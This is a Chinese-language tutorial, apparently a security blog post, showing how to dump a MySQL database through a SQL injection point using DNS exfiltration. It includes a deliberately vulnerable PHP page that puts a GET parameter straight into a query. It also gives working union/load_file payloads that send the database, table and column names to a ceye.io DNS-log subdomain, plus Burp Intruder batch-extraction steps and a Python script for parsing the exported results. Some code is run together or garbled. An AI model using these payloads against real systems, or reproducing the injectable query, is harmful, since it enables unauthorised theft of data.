
对于一个sql注入点来说最幸运的就是支持堆叠注入,最蛋疼的就是盲注,盲注里面难搞的就是基于时间的盲注。
我们在本地利用这段代码进行演示
<?php
error_reporting(0);
$link = mysqli_connect('localhost','root','root');
mysqli_set_charset($link,'utf8');
mysqli_select_db($link,'test');
$id = $_GET['id'];
$sql = "select * from test.order where id=$id";
$res = mysqli_query($link,$sql);
把链接丢到sqlmap里面,可以看到sqlmap成功检测出了时间盲注

在局域网网络环境延迟很低,并且没有任何安全软件的前提下

sqlmap猜解表明的速度依然非常慢,接下来我们尝试用dns log的方式来获取数据。
dns猜解数据需要执行
show variables like '%secure%';

1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
如果secure_file_priv不为空,可以通过设置my.ini来配置。加入secure_file_priv="",然后重启mysql即可。
还需要一个dnslog的平台,我一般用 http://ceye.io/
平台会分配一个子域名

ping一下这个域名

然后即可看到刚才ping的记录

然后我们测试一下注入点是否支持dns外带数据。
通过
http://127.0.0.1/test.php?id=1 union select 1,2,3,4 and sleep(10)
猜解到字段数为4,然后测试是否支持dns外带数据
http://127.0.0.1/test.php?id=1 union select 1,load_file('t1.xxxx.ceye.ioabc'),3,4
可以看到t1的被带了出来

下面进行数据拆解
查数据库名
http://127.0.0.1/test.php?id=1 union select 6,load_file(concat('',(select database()),'.xxx.ceye.ioabc')),3,8
数据库名为test

然后拆解第一个表名
http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select table_name from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxxx.ceye.ioabc')),3,4
第一个表名为admin

然后我们通过burp来进行批量拆解,先查表的数量
http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select count(table_name) from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxx.ceye.ioabc')),3,4
一共有四张表

然后批量获取表名
127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select table_name from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxxx.ceye.ioabc')),3,
发送URL到burp的测试器
limit 0,1 后面的0设置为变量

payload选择

线程设置为 1

然后开始攻击
完成以后

可以在平台上查到获取到的表名

平台提供文件导出为json文件的功能

下载到本地,放到脚本目录
#python3
import json#自己平台的地址
url = '.xxx.ceye.io'f = open('./data.json')
json_data = f.read()
f.close()data = json.loads(json_data)data_list = []for i in data:data_list.append(i['name'].replace(url,''))data_list = list(set(data_list))
for i in data_list:print(i)
可以去重以后打印出刚才获取的数据

清理历史记录

再通过burp获取admin表的字段
http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select column_name from information_schema.columns where table_name=0x61646D696E limit 0,1),'.xxxx.ceye.ioabc')),3,4
获取数据
select column_name from information_schema.columns where table_name=0x61646D696E limit 0,1